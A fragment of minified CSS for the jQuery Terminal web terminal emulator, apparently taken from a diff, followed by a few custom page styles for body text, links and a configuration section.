h1::-moz-selection,.terminal h2::-moz-selection,.terminal h3::-moz-selection,.terminal h4::-moz-selection,.terminal h5::-moz-selection,.terminal h6::-moz-selection,.terminal pre::-moz-selection,.terminal td::-moz-selection{background-color:#aaa;color:#000}.cmd .prompt span::selection,.cmd>div::selection,.cmd>div span::selection,.cmd>span::selection,.cmd>span span::selection,.cmd div::selection,.terminal .terminal-output .raw div::selection,.terminal .terminal-output div div::selection,.terminal .terminal-output div div a::selection,.terminal .terminal-output div span::selection,.terminal h1::selection,.terminal h2::selection,.terminal h3::selection,.terminal h4::selection,.terminal h5::selection,.terminal h6::selection,.terminal pre::selection,.terminal td::selection{background-color:hsla(0,0%,66.7%,.99);color:#000}.terminal .terminal-output div.error,.terminal .terminal-output div.error *{color:red;color:var(--error-color,red)}.tilda{left:0;position:fixed;top:0;width:100%;z-index:1100}.ui-dialog-content .terminal{box-sizing:border-box;height:100%;width:100%}.ui-dialog .ui-dialog-content.dterm{padding:0}.clear{clear:both}.terminal a{color:#0f60ff;color:var(--link-color,#0f60ff)}.terminal a:hover{background-color:#0f60ff;background-color:var(--link-color,#0f60ff);color:var(--background,#000);text-decoration:none}.terminal .terminal-fill{border:none;box-sizing:border-box;height:100%;left:0;margin:1px 0 0;opacity:.01;pointer-events:none;position:absolute;top:-100%;width:100%}.terminal,.terminal .terminal-fill{padding:10px}@supports (--css:variables){.cmd,.cmd *,.terminal,.terminal-wrapper *{background-color:var(--background,#000);color:var(--color,#aaa)}.terminal span[style*="--length"]{display:inline-block;width:calc(var(--length, 1)*var(--char-width, 7.23438)*1px)}.cmd,.cmd *,.terminal,.terminal *{font-size:calc(var(--size, 1)*12px);line-height:calc(var(--size, 1)*14px)}.terminal .terminal-output>div>div{min-height:calc(var(--size, 1)*14px)}.cmd .inverted,.terminal .inverted{background-color:var(--color,#aaa);color:var(--background,#000)}.cmd div{min-height:calc(var(--size, 1)*14px)}.cmd .cursor.blink{background-color:var(--background,#000);color:var(--color,#aaa)}.cmd .cursor.blink span span{-moz-animation:var(--animation,terminal-blink) 1s infinite linear;-ms-animation:var(--animation,terminal-blink) 1s infinite linear;-webkit-animation:var(--animation,terminal-blink) 1s infinite linear;animation:var(--animation,terminal-blink) 1s infinite linear}.cmd .cursor{height:calc(var(--size, 1)*14px);min-width:calc(var(--char-width, 7.23438)*1px)}.cmd .prompt span::-moz-selection,.cmd>div::-moz-selection,.cmd>div span::-moz-selection,.cmd>span::-moz-selection,.cmd>span span::-moz-selection,.cmd div::-moz-selection,.terminal .terminal-output div div::-moz-selection,.terminal .terminal-output div div a::-moz-selection,.terminal .terminal-output div span::-moz-selection,.terminal h1::-moz-selection,.terminal h2::-moz-selection,.terminal h3::-moz-selection,.terminal h4::-moz-selection,.terminal h5::-moz-selection,.terminal h6::-moz-selection,.terminal pre::-moz-selection,.terminal td::-moz-selection{background-color:var(--color,#aaa);color:var(--background,#000)}.cmd .prompt span::selection,.cmd>div::selection,.cmd>div span::selection,.cmd>span::selection,.cmd>span span::selection,.cmd div::selection,.terminal .terminal-output div div::selection,.terminal .terminal-output div div a::selection,.terminal .terminal-output div span::selection,.terminal h1::selection,.terminal h2::selection,.terminal h3::selection,.terminal h4::selection,.terminal h5::selection,.terminal h6::selection,.terminal pre::selection,.terminal td::selection{background-color:var(--color,hsla(0,0%,66.7%,.99));color:var(--background,#000)!important}}@supports (-ms-ime-align:auto){.cmd .prompt span::selection,.cmd>div::selection,.cmd>div span::selection,.cmd>span::selection,.cmd>span span::selection,.cmd div::selection,.terminal .terminal-output div div::selection,.terminal .terminal-output div div a::selection,.terminal .terminal-output div span::selection,.terminal h1::selection,.terminal h2::selection,.terminal h3::selection,.terminal h4::selection,.terminal h5::selection,.terminal h6::selection,.terminal pre::selection,.terminal td::selection{background-color:hsla(0,0%,66.7%,.99);color:#000}}.cmd .style .token.string,.cmd .token.entity,.cmd .token.operator,.cmd .token.string,.cmd .token.token,.cmd .token.url,.cmd .token.variable,.terminal .style .token.string,.terminal .token.entity,.terminal .token.operator,.terminal .token.string,.terminal .token.token,.terminal .token.url,.terminal .token.variable{background-color:inherit}
|
17
|
+
/*# sourceMappingURL=jquery.terminal.min.css.map */body{background-color:#000}.cmd,.terminal,.terminal .prompt,.terminal .terminal-output div div,body{color:#ccc;font-family:monospace,fixed;font-size:15px;line-height:18px}.terminal a,.terminal a:hover,a,a:hover{color:#6c71c4}.spaced{margin:15px 0}.spaced-top{margin:15px 0 0}.spaced-bottom{margin:0 0 15px}.configure{margin:20px}.configure .variable{color:#d33682}.configure p,.configure ul{margin:5px 0 0}
|